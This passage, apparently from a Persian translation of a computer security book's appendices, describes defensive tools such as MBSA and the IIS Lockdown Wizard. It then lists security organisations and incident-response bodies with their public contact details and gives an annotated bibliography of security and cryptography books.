این daemon دارای ویژگیها و قابلیتهای امنیتی زیادی است، مثل یک فایل پیام که قبل از ورود کاربر به یک شاخه می‌تواند برای او به نمایش درآید، قابلیت محدود کردن کاربرانی که بصورت همزمان با سیستم کار می‌کنند، و نیز قابلیت ثبت و کنترل دسترسی پیشرفته‌تر. این ویژگیهای اضافه بطور خاص برای پشتیبانی از خدمات FTP ناشناس طراحی شده‌اند.

این برنامه از طریق پایگاههای وب زیر قابل دریافت است:
http://www.wu-ftpd.org

ابزارهای سیستم‌عامل Windows

ضدویروس

ضدویروسهای بسیاری وجود دارند که شرکت تولید کنندهٔ آنها بصورت مداوم از نشانهای به‌روزرسانی‌شدهٔ ویروس برای پشتیبانی آنها استفاده می‌کند. اینکه بطور کلی از یک نرم‌افزار ضدویروس استفاده کنید بسیار مهمتر از این است که از چه نرم‌افزار ضدویروسی استفاده نمایید. ضدویروسهای خوب معمولاً بجای اینکه تنها هنگام درخواست کاربر به بررسی آلودگیهای ناشی از ویروسها بپردازند، بصورت بلادرنگ مراقب فعالیتهای ویروسها و فایلهای آلوده به آنها هستند.

MBSA (تحلیلگر امنیت پایهٔ مایکروسافت)[۵۱۷]

این برنامه نوعی نرم‌افزار بررسی‌کنندهٔ امنیت در Windows NT و سیستم‌عاملهای پس از آن است. این نرم‌افزار کنترلهای متعددی را روی سیستم محلی یا سیستم راه دور تحت راهبری شما بررسی می‌کند؛ مثل بررسی به‌روز بودن وصله‌های امنیتی، استحکام رمز عبور، پیکربندی صحیح سیستم فایل، ممیزی تنظیمات ویژه در برخی خدمات مانند IIS و سرویس‌دهندهٔ SQL، و غیره. استفاده از این نرم‌افزار در اولین راه‌اندازی یک سیستم توصیه می‌شود. اگر سیستم از آزمونهای این نرم‌افزار موفق بیرون نیاید، قاعدتاً در آینده دچار مشکل خواهد شد. این نرم‌افزار از آدرس زیر قابل دستیابی است:
http://www.microsoft.com/technet/security/tools/Tools/mbsahome.asp

Microsoft IIS Lockdown Wizard

IIS – سرویس‌دهندهٔ وب Windows – بارها منبع تخریب و حمله به سیستم بوده است. درصورتیکه نمی‌خواهید آنرا بطور کامل با Apache و یا سرویس‌دهندهٔ وب دیگری جایگزین کنید، حداقل باید این Wizard را بکار برید تا اجزای غیرضروری آنرا از کار انداخته و امنیت نصب و

515 Doug Schales
516 David Curry
517 Microsoft Baseline Security Analyzer

پیکربندی آن را افزایش دهید. این نـرم‌افـزار از آدرس زیـر قابل دستیابی است:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=43955

پیوست ۴
سازمان‌های امنیتی

در این بخش اطلاعات برخی از سازمانهای مفید را جمع‌آوری کرده‌ایم که می‌توانید از آنها برای دریافت کمک و اطلاعات بیشتر استفاده کنید.

سازمان‌های حرفه‌ای

سازمانهای زیر می‌توانند برای شما بسیار مفید باشند. چند سازمان اول خبرنامه منتشر می‌کنند، مراکز آموزشی دارند، و کنفرانس برگزار می‌نمایند. سازمانهای FIRST نیز می‌توانند در مواقع اضطراری به کمک شما بیایند.

ACM (مؤسسه ماشینهای محاسباتی)[۵۱۸]

قدیمی‌ترین سازمان حرفه‌ای علوم رایانه است که مجلات علمی بسیاری چاپ می‌کند و سالیانه در برگزاری دهها کنفرانس و کارگاه تحقیقاتی و اجتماعی مشارکت می‌کند. ACM همچنین درگیر موضوعاتی چون آموزش، پرورش متخصصین، و نیز توسعهٔ علم و دانش است و دارای تعدادی *گروه تخصصی* (SGI)[۵۱۹] است که در زمینهٔ امنیت و کاربرد رایانه نیز فعال هستند. برخی از این گروهها عبارتند از گروه امنیت، گروه ممیزی و کنترل، گروه سیستم‌عامل، گروه رایانه و جامعه، و همچنین گروه مهندسی نرم‌افزار. برای تماس با این سازمان به آدرس زیر مراجعه کنید:

ACM Headquarters
One Astor Plaza
1515 Broadway
17th Floor
New York, New York 10036-5701
+1-212-869-7440
http://www.acm.org

ACM دارای یک کمیتهٔ سیاستهای عمومی برای پرداختن به قوانین معلق ایالات متحده در خصوص امنیت، محرمانگی، و کارآمدی است. بسیاری از موضوعاتی که آنها مورد توجه قرار می‌دهند معمولاً برای علاقه‌مندان مسائل امنیتی نیز جذاب است.
http://www.acm.org/usacm/

ACM منابع الکترونیکی فراوانی از جمله اطلاعات کنفرانسها و گروههای تخصصی خود دارد. اطلاعاتی که از طریق وب ارائه می‌شود معمولاً بسیار جامع و در ساختاری عالی می‌باشد:

ASIS (مجمع امنیت صنعتی امریکا)[۵۲۰]

یک سازمان حرفه‌ای برای کسانی که در زمینهٔ امنیت کار می‌کنند. این مجمع ۴۰ سال است که فعالیت می‌کند و تا سال ۲۰۰۲ دارای ۳۲۰۰۰ عضو از سراسر جهان بوده است. ۲۵ کمیتهٔ دائمی آن در زمینهٔ امنیت، خصوصاً امنیت رایانه‌ای متمرکزند. این گروه هر ماه مجله‌ای در ارتباط با امنیت و فقدان مدیریت به چاپ می‌رساند. ASIS همچنین از جلسات گفتگو و دیگر فعالیتهای گروهی حمایت می‌کند و امکان عضویت در آن تنها برای افرادی میسر است که در یک سطح مدیریتی با مسائل امنیتی درگیر هستند.

American Society for Industrial Security
1625 Prince Street
Alexandria, Virginia 22314-2818
+1-703-519-6200
http://www.asisonline.org

www.cisecurity.org

یک منبع خوب برای اطلاعات امنیتی، فهرستهای کنترل و ابزارهایی مربوط به سیستم‌عاملهای Unix و Windows.

CSI (مؤسسه امنیت رایانه)[۵۲۱]

این مؤسسه در سال ۱۹۷۴ به عنوان یک سازمان چندمنظوره برای کمک به اعضای خود در حفاظت از منابع پردازشی اطلاعات الکترونیکی تأسیس شد. CSI از برگزاری کارگاهها و کنفرانسهای امنیتی حمایت مالی می‌کند، یک مجلهٔ

518 Association for Computing Machinery
519 Special Interest Groups

520 American Society for Industrial Security
521 Computer Security Institute

تحقیقاتی و یک نشریهٔ تخصصی در زمینهٔ امنیت رایانه به چاپ می‌رساند، و بعنوان یک منبع مهم اطلاعاتی در زمینهٔ امنیت ارائه خدمات می‌نماید. مؤسسه بر اساس سود متقابل خدمات زیادی را به اعضا و گروههای خود ارائه می‌دهد که یک نمونهٔ آن عبارت است از انتشار سالنامه *راهنمای امنیت رایانه‌ای خریداران*[۵۲۲] که منابعی برای نرم‌افزار، مقالات، و ارائه مشاورهٔ امنیتی را در خود فهرست کرده است.

Computer Security Institute
600 Harrison Street
San Francisco, CA 94107
+1-415-947-6320
http://www.gocsi.com

EFF (بنیاد پیشروی الکترونیکی)[۵۲۳]

از مسائل مرتبط با آزادیهای مدنی و اینترنتی حمایت قانونی می‌کند و اگرچه اهداف آن بسیار فراتر از مسائل امنیتی است، اما دارای یک بایگانی قابل توجه از مستندات مرتبط با امنیت و محرمانگی است.

Electronic Frontier Foundation
454 Shotwell Street
San Francisco, CA 94110-1914
+1-415-436-9333
http://www.eff.org/

EPIC (مرکز اطلاعات حریم خصوصی الکترونیکی)[۵۲۴]

یک مرکز تحقیقات عمومی است که موضوعات مرتبط با محرمانگی اطلاعات الکترونیکی را مورد مطالعه قرار می‌دهد. این مرکز از مسائل حریم خصوصی و آزادی مدنی حمایت قانونی می‌کند.

1718 Connecticut Avenue
NW, Suite 200
Washington, DC 20009
+1-202-483-1140
info@epic.org
http://www.epic.org

HTCIA (انجمن پیگرد تخلفات فناوری پیشرفته)[۵۲۵]

یک سازمان حرفه‌ای برای افرادی که مشغول تحقیقات پلیسی و پیگیرد جرائم فناوریهای پیشرفته از جمله تخلفات رایانه‌ای می‌باشند. این سازمان در آمریکا و بسیاری از کشورهای دیگر شعباتی دارد و اطلاعات آن از طریق پایگاه وب، پست الکترونیکی و یا تلفن قابل حصول است.

HTCIA, Inc.
1474 Freeman Dr.
Amisville, VA 20106
+1-540-937-5019
http://htcia.org

ISSA (انجمن امنیت سیستمهای اطلاعاتی)[۵۲۶]

یک سازمان بین‌المللی از متخصصین و وکلای امنیت اطلاعات که از جلسات آموزشی، انتشار نشریات و فرصتهای تعامل رو در رو استفاده می‌کند تا سطح دانش، مهارت و تخصص اعضای خود را افزایش دهد. این سازمان علاوه بر انتشار نشریه، از کنفرانسها و کارگاههای این حیطه نیز حمایت مالی بعمل می‌آورد؛ و در حال حاضر شعبات آن در سراسر ایالات متحده و جهان نیز وجود دارند.

ISSA Headquarters
7044 S. 13th Street
Oak Creek, WI 53154
+1-414-768-8000
+1-800-370-ISSA
http://www.issa.org

ISACA (انجمن ممیزی و کنترل سیستمهای اطلاعاتی)[۵۲۷]

یک سازمان بین‌المللی از متخصصین و وکلای مشاور در حوزهٔ مدیریت و ممیزی امنیت اطلاعات که از جلسات آموزشی، انتشار نشریات، اعطای گواهی‌نامه‌های تخصصی به کارشناسان و متخصصین، و فرصتهای تعامل رو در رو استفاده می‌کند تا سطح دانش، مهارت و تخصص اعضای خود را افزایش دهد. این انجمن علاوه بر انتشار نشریه، از تحقیقات، کنفرانسها و کارگاههای مرتبط نیز حمایت مالی

522 Computer Security Buyer's Guide
523 Electronic Frontier Foundation
524 Electronic Privacy Information Center

525 High Technology Crimes Investigation Association
526 Information Systems Security Association
527 Information Systems Audit and Control Association

می‌کند و شعبات آن در سراسر ایالات متحده و جهان وجود دارند.

ISACA Headquarters
3701 Algolquin Road, Suite 1010
Rolling Meadows, Illinois 60008, USA
+1-847-253-1545
+1-847-253-1443
http://www.isaca.org

ISC^2 (کنسرسیوم بین‌المللی گواهی امنیت سیستمهای اطلاعاتی)[۵۲۸]

سازمانی بین‌المللی که بر ارائه گواهی‌های تخصصی CISSP[۵۲۹] و SSCP[۵۳۰] نظارت می‌کند. این دو گواهی به عنوان یک سطح استاندارد برای افرادی که در زمینهٔ امنیت اطلاعات فعالیت می‌کنند محسوب می‌شوند. معمولاً سازمانها هنگام استخدام متخصصین و پس از توفیق متقاضیان در آزمونهای اولیهٔ استخدامی، از افراد این گواهی‌ها را درخواست می‌کنند تا سطح دانش آنان مشخص بیش از پیش مشخص شود.

(ISC)^2 Services
P.O.Box 1117
Dunedin, FL 34697
USA
+1-888-333-4458
http://www.isc2.org

(ISC)^2 Europe Operations
Nestor House
London UK EC4V 5EX
+44 (0) 20 7779 8030

(ISC)^2 Asia Operations
17/F., Printing House
Central Hong Kong
+852 2111 6612

جامعهٔ اینترنتی[۵۳۱]

بیشتر فعالیتها و رویدادهای مرتبط با اینترنت از جمله یک همایش سالانه در زمینهٔ امنیت شبکه را برگزار می‌کند.

1775 Wiehle Ave., Suite 102
Reston, VA 20190-5108
+1-703-326-9880
http://www.isoc.org

4, rue des Falaises
CH-1205 Geneva
Switzerland
+41-22-807-1444
info@isoc.org

IEEE-CS (جامعهٔ رایانه‌ای مهندسان برق و الکترونیک)[۵۳۲]

با چیزی حدود ۱۰۰،۰۰۰ عضو، بزرگترین زیرمجموعهٔ IEEE محسوب می‌شود. از فعالیتهای این جامعه می‌توان به کارهایی نظیر تلاش برای ارتقای نشریات پژوهشی، برگزاری کنفرانسها و کارگاهها، ارائه آموزشهای تخصصی، تدوین استانداردهای فنی و فعالیتهایی از این قبیل اشاره کرد. این جامعه همچنین دارای گروههای تخصصی نیز هست که از آن جمله‌اند کمیتهٔ فنی امنیت و حریم خصوصی، کمیتهٔ فنی سیستم‌عاملها و نیز کمیتهٔ فنی مهندسی نرم‌افزار.

IEEE Computer Society
1730 Massachusetts Avenue N.W.
Washington, DC 20036-1992
+1-202-371-0101
http://www.computer.org

در پایگاه کمیتهٔ فنی امنیت و حریم خصوصی این جامعه، چند منبع اطلاعاتی وجود دارد؛ از جمله یک خبرنامه:
http://www.ieee-security.org/

کمیتهٔ فنی شمارهٔ ۱۱ IFIP[۵۳۳]

کمیتهٔ فنی شمارهٔ ۱۱ فدراسیون بین‌المللی پردازش اطلاعات (IFIP) مختص تحقیق، آموزش، و ارتباطات در زمینهٔ امنیت سیستمهای اطلاعاتی است. گروههای کاری کمیته سرپرستی فعالیتهای مختلفی را بر عهده دارند، مثل برگزاری کنفرانس در نقطه‌ای از دنیا.

http://www.ifip.org

(در پایگاه فوق به صفحات مربوط به مسائل امنیتی یا TC 11 بروید.)

528 International Information Systems Security Certification Consortium, Inc.
529 Certified Information Systems Security Professional
530 Systems Security Certified Practitioner
531 The Internet Society
532 IEEE Computer Society
533 International Federation for Information Processing - Technical Committee 11

SANS (مؤسسه راهبری سیستمها و امنیت شبکه)[۵۳۴]

مؤسسه‌ای که کارگاهها و کنفرانسهایی را در نقاط مختلف ایالات متحده برگزار می‌کند تا در ابعاد مختلف امنیت و راهبری سیستمها آموزش مستمر فراهم کرده باشد. از جملهٔ دوره‌های آموزشی می‌توان به آموزشهایی در خصوص مهاجم‌یاب، دیوارهٔ آتش و امنیت عمومی اشاره کرد. این سازمان همچنین در پایگاه وب خود خبرنامه‌ها، هشدارها و دستورالعملهای خودآموز مختلفی را منتشر می‌کند.

http://www.sans.org

USENIX/SAGE

انجمن USENIX یک سازمان آموزشی غیرانتفاعی برای کاربران سیستمهای Unix و امثال آن است. این انجمن یک نشریه منتشر می‌کند، در برگزاری کنفرانسها مشارکت می‌جوید، و در *بدنه‌های بین‌المللی استاندارد*[۵۳۵] دارای نمایندگی می‌باشد، و از برگزاری کارگاههای سالانه در ارتباط با امنیت سیستمهای Unix و نیز دیگر کارگاههای راهبری سیستمها و کنفرانسهای مرتبط با اطلاعات امنیتی حمایت می‌کند. از جملهٔ این کارگاهها می‌توان به یک کارگاه سالانه در زمینهٔ امنیت Unix، یک کارگاه سالانه در خصوص راهبری سیستم، بعلاوهٔ کنفرانسهای متعدد دیگری با موضوعات مرتبط با امنیت اشاره کرد.

SAGE مخفف عبارت *انجمن راهبران سیستمها*[۵۳۶] است، و یک گروه فنی تخصصی از انجمن USENIX می‌باشد. برای عضویت در SAGE، باید پیشتر به عضویت USENIX در آمده باشید.

USENIX Association
2560 Ninth Street
Suite215
Berekley, CA 94710
+1-510-528-8649
office@usenix.org
http://www.usenix.org

سازمانهای دولتی ایالات متحده

NIST (مؤسسه ملی استانداردها و فناوری)[۵۳۷]

این مؤسسه (که سابقاً *اداره ملی استانداردها*[۵۳۸] نام داشت)، مسئولیت تدوین استانداردهای امنیت رایانه‌ای و روشهای ارزیابی برنامه‌های کاربردی منفک از وزارت دفاع را برعهده دارد. فعالیتهای این مؤسسه علاوه بر تدوین استانداردها، شامل تحقیقات نیز می‌شود.

NIST Computer Security Division
100 Bureau Drive
Mail Stop 8930
Gaithersburg, MD 20899-8930
+1-301-975-2934
http://www.nist.gov

این مؤسسه مرکزی به نام *مرکز منابع امنیت رایانه‌ای* (CSRC)[۵۳۹] را نیز اداره می‌کند:

http://csrc.nist.gov/

NSA (سازمان امنیت ملی)[۵۴۰]

این سازمان یک فهرست از محصولاتی که ارزیابی و تأیید شده‌اند دارد که در آن مقداری منابع اطلاعات فنی در زمینهٔ امنیت بویژه رمزنگاری موجود است. ممکن است کاربران Linux به برنامهٔ "Linux ایمن NSA" – مجموعه‌ای از وصله‌های هستهٔ سیستم‌عامل که سطح امنیت Linux را افزایش می‌دهد – علاقه‌مند باشند. NSA همچنین *موزهٔ ملی رمزنگاری*[۵۴۱] در *مریلند*[۵۴۲] را اداره می‌کند، و یک موزهٔ رمزنگاری نیز در اینترنت دارد. آدرس پایگاه وب NSA عبارت است از:

http://www.nsa.gov

در این پایگاه وب چند راهنمای مفید برای پیکربندی سیستم‌عاملها و مسیریابهای رایج وجود دارد. این راهنماها

534 Systems Administration and Network Security
535 International Standards Bodies
536 Systems Administrators Guild

537 National Institute of Standards and Technology
538 National Bureau of Standards
539 Computer Security Resource Center
540 National Security Agency
541 National Cryptologic Museum
542 Maryland

نکات مفیدی برای تغییر پیکربندی معمول ارائه می‌کنند تا ضریب امنیت سیستم افزایش یابد.

سازمانهای واکنش به فوریتها

وزارت دادگستری، FBI و سازمانهای خدمات سرّی ایالات متحده که در ادامه آمده‌اند، نقض قوانین ملی مربوط به کلاهبرداری، سرقت، و سوء استفاده از منابع رایانه‌ای را بررسی می‌کنند. تیمهای واکنش به رخداد متعدد از جمله FIRST نیز به تحقیق صرف در خصوص جرائم رایانه‌ای نمی‌پردازند؛ بلکه هنگام وقوع رخدادهای امنیتی به کمک قربانیان می‌شتابند؛ و همچنین برای کاهش امکان وقوع و یا گسترش این وقایع به تحقیق، ارائه اطلاعات و انجام پشتیبانی نیز می‌پردازند.

توجه داشته باشید که مؤسسات ملی معمولاً دارای دفاتر حوزه‌ای (محلی) می‌باشند که می‌توانید از آنها اطلاعات اختصاصی‌تری دریافت کنید؛ هرچند تمام دفاتر محلی مجهز به کارکنانی با سطح آموزشی همسان با کارکنان دفاتر مرکزی نیستند.

DOJ (وزارت دادگستری)[۵۴۳]

10th & Constitutioan Ave. NW
Criminal Division, (Computer Crime & Intellectual Property Section)
John C.Keeney Building, Suite 600
Washington, DC 20530
+1-202-514-1026
http://www.cybercirne.gov

FBI (ادارهٔ تجسس ملی)[۵۴۴]

علاوه بر *مرکز حفاظت زیرساختهای ملی* (NIPC)[۵۴۵]، FBI مرکز Infraguard – مجموعه‌ای از فعالیتهای همکاران منطقه‌ای که FBI و اقتصاد محلی را برای مقابله با جرائم رایانه‌ای هماهنگ می‌کند – را نیز اداره می‌نماید. اطلاعات بیشتر در خصوص Infraguard را می‌توان در پایگاه وب NIPC یافت.

National Infrastructure Protection Center
J.Edgar Hoover Building
935 Pennsylvania Avenue, NW
Washington, D.C.20535-0001
+1-202-323-3205
http://www.nipc.gov

USSS (خدمات سرّی ایالات متحده)[۵۴۶]

Financial Crimes Division
Electronic Crime Branch
U.S. Secret Service
Washington, DC 20223
+1-202-435-7700
http://www.ustreas.gov/usss/financial_crimes.shtml

FIRST (اتاق گفتگوی تیمهای واکنش به رخدادهای امنیتی)[۵۴۷]

این مجمع در مارس ۱۹۹۳ تأسیس شد. FIRST ائتلافی است که تیمهای مختلف واکنش به رخدادهای امنیتی از بخش دولتی و بخش خصوصی و همچنین دانشگاهها را در کنار هم قرار داده است. مؤسسین FIRST از تیمهای واکنش به رخداد متعددی در تمام دنیا گرد هم آمده‌اند. اهداف FIRST عبارتند از:

- افزایش همکاری میان کاربران فناوری اطلاعات جهت مقابله، شناسایی و ترمیم رخدادهای امنیت رایانه‌ای؛
- ایجاد ابزاری برای آگاه‌سازی و اعلان هشدار به مشتریان در خصوص رخدادها و تهدیدات فزاینده؛
- پشتیبانی و گسترش فعالیتهای تیمهای واکنش عضو با فعالیتهایی چون تحقیقات و کارهای عملی؛ و
- تشویق و تسهیل به‌اشتراک‌گذاری اطلاعات، ابزارها و فنون مرتبط با امنیت.

FIRST هرسال یک کارگاه در خصوص با واکنش به وقایع امنیتی برگزار می‌کند که شامل مطالب آموزشی و ارائه مطالب توسط اعضای تیمهای واکنش و نیز دوایر اجرای قوانین است. این مؤسسه در اواسط سال ۱۹۹۵ به یک

543 Department of Justice
544 Federal Bureau Of Investigation
545 National Infrastructure Protection Center

546 U.S. Secret Service
547 Forum of Incident and Response Security Teams

مؤسسه غیرانتفاعی تبدیل شد و وظایف دبیرخانه‌ای آن از NIST تفکیک گردید.

FIRST Secretariats
First.Org, Inc.
PMB 349
650 Castro Street, Suite 120
Mountain View, CA 94041
first-sec@first.org
http://www.first.org/

FIRST متشکل از سازمانهای زیادی است. برای مشاهدهٔ جدیدترین فهرست سازمانهای عضو می‌توانید از اینترنت استفاده کنید. درصورتیکه یک مشکل امنیتی دارید و یا نیازمند کمک هستید، ابتدا ببینید کدامیک از این سازمانها مربوط به عملیات و نیازهای شما می‌شوند. چنانچه موفق به تشخیص این مسئله نشدید، با یکی از آنها تماس بگیرید تا آنها مناسب‌ترین گروه را به شما معرفی کنند.

بیشتر این گروههای واکنش دارای یک کلید PGP هستند که بوسیلهٔ آن هشدارهای خود را به امضا رسانند و کاربران را قادر می‌کنند که بتوانند گزارشها را بصورت محرمانه برای آنها ارسال نمایند:
http://www.first.org/rep-info/

بسیاری از این تیمها ترتیبی اتخاذ کرده‌اند که بتوانند تلفنهای خود را در طول تمام ۲۴ ساعت شبانه‌روز و در هر ۷ روز هفته پاسخ دهند.

مرکز هماهنگی تیم واکنش به فوریتهای رایانه‌ای (CERT/CC)[۵۴۸]

یکی از تیمهای مهم FIRST، گروه CERT/CC است که به تمامی پایگاههای اینترنتی خدمات‌رسانی می‌کند. کلمهٔ CERT برگرفته از نام "تیم واکنش به فوریتهای رایانه‌ای" است که توسط *مؤسسه پروژه‌های تحقیقاتی پیشرفته* (ARPA)[۵۴۹] در نوامبر ۱۹۸۸ (هنگام شیوع اولیهٔ کرمهای اینترنتی و رخدادهای مشابه) تشکیل شکل گرفته بود. مأموریت CERT/CC همکاری با مجامع اینترنتی برای تسهیل نحوهٔ واکنش به رخدادهای امنیتی رایانه از جمله میزبانهای‌اینترنتی، برداشته گامهای مؤثر برای افزایش سطح آگاهی پیرامون موضوعات امنیت رایانه‌ای، و انجام تحقیقات در جهت ارتقای سطح امنیتی سیستمهای موجود می‌باشد. بایگانی مبتنی بر وب این مرکز (*http://www.cert.org*) شامل یک مجموعهٔ غنی از هشدارهای مشکلات امنیتی در گذشته و حال حاضر می‌باشد.

CERT Coordination Center
Software Engineering Institute
Carnegi Mellon University
Pittsburgh, PA 15213-3890
+1-412-268-7090
cert@cert.org

548 Computer Emergency Response Team / Coordination Center
549 Advanced Research Projects Agency

پیوست ۵
منابع چاپی

در سالهای اخیر کتابها، مجلات و مقالات بسیاری در مورد مسائل امنیتی منتشر شده که بیانگر توجه روزافزون به این موضوع می‌باشد. اگر بخواهید بعنوان یک محقق دانش خود را به‌روز نگه دارید، ممکن است مطالعه و فراگیری قسمت کمی از این اطلاعات نیز بسیار طاقت‌فرسا باشد. در اینجا اطلاعاتی از مراجع مفید مختلف جمع‌آوری شده که می‌تواند بعنوان نقطهٔ شروعی برای بدست آوردن اطلاعات افزونتر و عمیق‌تر، و همچنین راهنمایی برای امدادرسانی بیشتر مورد استفاده شما قرار گیرد.

سعی ما بر این بوده که این فهرست را به مراجع در دسترس و ارزشمندتر محدود کنیم تا یافتن آنها برای خوانندگان دشوار نباشد. وجود تعدادی از مراجع در این فهرست، بیش از هر دلیلی، به دلیل تاریخی بودن آنها است. همچنین آنجا که بنظر رسیده توضیح اضافه‌تر به خواننده کمک می‌کند، از آن استفاده کرده‌ایم.

چنانچه می‌خواهید یک قفسه کتاب در مورد امنیت داشته باشید، پیشنهاد ما این است که پیش از تصمیم‌گیری برای خرید کتابهایی که عناوین آنها جذاب است، از یک کتابفروشی تخصصی بازدید بعمل آورید، با یک فروشندهٔ کتاب در یک کنفرانس امنیتی ملاقات کنید و یا خلاصهٔ کتابها را در اتاقهای مجازی مربوط به مسائل امنیتی مطالعه نمایید. این حوزه به‌سرعت درحال پیشرفت و تکامل است. همانطور که وقت خود را صرف اشکالات و وصله‌ها می‌کنید، بسیار مهم است که همچنان با انجام مطالعات، دانش خود را نیز به‌روز نگه دارید.

مراجع امنیتی Unix

این دسته از کتابها بر مسائل امنیت رایانه‌ای در سیستم‌عاملهای مبتنی بر Unix تأکید دارند.

Garfinkel, Simson, Gene Spafford, and Alan Schwartz. *Practical Unix and Internet Security, 3rd Edition*.Cambridge, MA: O'Reilly and Associates, Inc., 2003.

رسالهٔ اصلی و اولیهٔ امنیت در Unix که هنوز هم ارزش خواندن را دارد:

Grampp, F. T., and R. H. Morris. *UNIX Operating SystemSecurity*, AT&T Bell Laboratories Technical Journal, October 1984.

یک بررسی خوب از امنیت سیستم Unix هنگام شبکه‌سازی مبتنی بر TCP/IP:

Wood, Patrick H., and Stephen G. Kochan. *UNIX System Security*, Carmel, IN: Hayden Books, 1986.

مراجع امنیتی Windows

یک راهنمای عالی برای ایمن‌سازی سیستمهای مبتنی بر Windows NT که برای ارائه خدمات اینترنتی بکار می‌روند:

Norberg, Stefan. *Securing Windows NT/2000 Servers for the Internet: A Checklist for System Administrators*. Cambridge, MA: O'Reilly and Associates, 2002.

Anderson-Redick, Stacey. *Windows System Policy Editor*. Sebastopol, CA: O'Reilly and Associates, 2000.

سایر مراجع امنیتی

کتابها و مقالات زیر مورد توجه همهٔ کسانی هستند که مقولهٔ امنیت رایانه‌ای برایشان جذاب است:

جرائم رایانه‌ای و قانون

داستانی در مورد یک جرم بزرگ رایانه‌ای که تمام آن بوسیلهٔ دو نفر به انجام رسیده بود. این رخداد باعث شد جوخهٔ جرائم رایانه‌ای FBI، چند تیم FIRST، و نیز ابزار Tripwire در دانشگاه Purdue بوجود بیاید:

Freedman, David H., and Charles C. Mann. *@Large*; NYC, NY, 1997.

یک بازنویسی مشهور از یک کتاب آموزشی FBI که هرچند قدیمی است ولی هنوز مطالب ارزشمندی در آن پیدا می‌شود:

Icove, David, Karl Seger, and William VonStorch, *Computer Crime: A Crimefighter's Handbook*, Sebastopol, CA: O'Reilly & Associates, 1995.

مجموعه داستانهایی در مورد جرائم رایانه‌ای و تحقیقات مرتبط با آنها، که در آن برای روشن شدن ابعاد مسئله، آمارهایی نیز ارائه شده است:

Power, Richard. *Tangled Web*. Indianapolis, IN, Que, 2002.

مخاطرات محیط رایانه‌ای

این کتاب در بر گیرندهٔ بررسی جامعی از خطرات سیستمهای رایانه‌ای است، و روشهایی را مورد بررسی قرار می‌دهد که با استفاده از آنها می‌توان نرم‌افزارهایی تولید کرد که تحمل خطای بیشتری داشته و از استحکام بیشتری برخوردار باشند:

Leveson, Nancy G. *Safeware: System Safety and Computers. A Guide to Preventing Accidents and Losses Caused by Technology*. Reading, MA: Addison Wesley, 1995.

کتاب زیر مجموعه‌ای از مهمترین رخدادهایی است که از زمان ایجاد پست الکترونیکی تا به امروز بوقوع پیوسته‌اند. نویسندهٔ این کتاب (دکتر نیومن) سردبیر فهرست پستی "مخاطرات اینترنتی" است.

Neumann, Peter G. Computer Related Risks. Reading, MA: Addison & Wesley, 1995.

ویروسهای رایانه‌ای و تهدیدات برنامه‌ای

تمام موضوع شمارهٔ زیر نشریهٔ ACM به موضوعاتی در مورد رخدادی که یک کرم اینترنتی مسبب آن بود اختصاص دارد:

Communications of the ACM, Volume 32, Number 6, June 1989 (the entire issue).

کتاب زیر درواقع بهترین کتابی بود که جنبه‌های فنی ویروسهای رایانه‌ای را مورد بحث قرار داده بود و بخوبی نیز در دسترس قرار داشت، اما در آن سخنی از ویروسهای Macroها به میان نیامده است:

Ferbrache, David. *The Pathology of Computer Viruses*. London, England: Springer- Verlag, 1992.

مجموعهٔ جامعی از مطالب مربوط به ویروسها، کرمها و نیز چاپ مجدد مقالات سنتی، که بیشتر به دلایل تاریخی در اینجا مورد اشاره قرار گرفته است:

Denning, Peter J. *Computers Under Attack: Intruders, Worms and Viruses*. Reading, MA: ACM Press/Addison-Wesley, 1990.

مجموعهٔ جامعی از مطالب مربوط به ویروسها، کرمها و مواردی ازاین قبیل، که بیشتر به دلایل تاریخی در اینجا مورد اشاره قرار گرفته است:

Hoffman, Lance J., *Rogue Programs: Viruses, Worms and Trojan Horses*. New York, NY: Van Nostrand Reinhold, 1990.

یک نشریهٔ بین‌المللی در زمینهٔ مقابله با ویروسهای رایانه‌ای و حذف آنها، که بسیار معتبر است، و به نظر می‌رسد بیشتر به درد اداراتی می‌خورد که تعداد رایانه‌های آنها زیاد است. این نشریه همچنین کنفرانسهایی برگزار می‌کند که در آنها می‌توان مقالات قابل توجهی در مورد ویروسها پیدا کرد:

The Virus Bulletin. Virus Bulletin CTD. Oxon, England. (*http://www.virusbtn.com*)

کتابهای رمزنگاری

کتاب سنتی این حوزه که هم اکنون نسخهٔ چاپی آن در بازار وجود ندارد، ولی حاوی مطالب پر ارزشی است:

Denning, Dorothy E. R. *Cryptography and Data Security*. Reading, MA: Addison-Wesley, 1983.

کتابی که تاریخچهٔ رمزنگاری، تاریخچهٔ برنامهٔ PGP، و کاربرد آن برنامه را شرح می‌دهد:

Garfinkel, Simson. *PGP: Pretty Good Privacy*. Sebastopol, CA: O'Reilly & Associates, 1994.

Hinsley, F.H., and Alan Stripp. Code Breakers: *The Inside Story of Bletchley Park*. Oxford, England: Oxford University Press, 1993.

مجموعهٔ جالبی از مطالب و مقالات در مورد تراشهٔ Clipper، قانونگذاری در حوزهٔ فضای الکترونیکی، و سیاست عمومی‌در قبال رمزگذاری، که از مراجع سنتی به شمار می‌رود:

Hoffman, Lance J. *Building in Big Brother: The Cryptographic Policy Debate*. New York, NY: Springer-Verlag, 1995.

کتابی که برای اولین بار معرف رمزنگاری بود، پیش از آنکه کلید عمومی اختراع شود:

Kahn, David. *The Codebreakers*. New York, NY: Macmillan Company, 1972.

جامع‌ترین کتاب غیر محرمانه در مورد رمزگذاری رایانه‌ای و روشهای حفاظت از اطلاعات که تاکنون به چاپ رسیده است:

Schneier, Bruce. *Applied Cryptography: Protocols, Algorithms, and Source Code in C. Second edition*. New York, NY: John Wiley & Sons, 1996.

یک کتاب بسیار خواندنی و به‌روز از تاریخچه و اصول رمزنگاری:

Singh, Simon. *The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography*. NY: Anchor Books, 2000.

Wayner, Peter. *Disappearing Cryptography*; Boston, MA: Academic Press, 1996.

مقالات و سایر نشریات مربوط به رمزنگاری

گزارش یک میزگرد اختصاصی ACM در مورد کمیتهٔ سیاستگذاری عمومی ایالات متحده:

Association for Computing Machinery (ACM). "Codes, Keys, and Conflicts: Issues in U.S. Crypto Policy." USACM, June 1994. (*http://info.acm.org/reports/acm_crypto_study. html*)

تاریخچهٔ مشروح رمزنگاری کلید عمومی به زبان نویسنده:

Diffie, Whitfield. "The First Ten Years of Public-Key Cryptography." *Proceedings of the IEEE 76* (1988): 560–76.

مقاله‌ای که مفهوم رمزنگاری کلید عمومی را معرفی کرد:

Diffie, Whitfield, and M.E. Hellman. "New Directions in Cryptography." *IEEE Transactions on Information Theory IT-22* (1976).

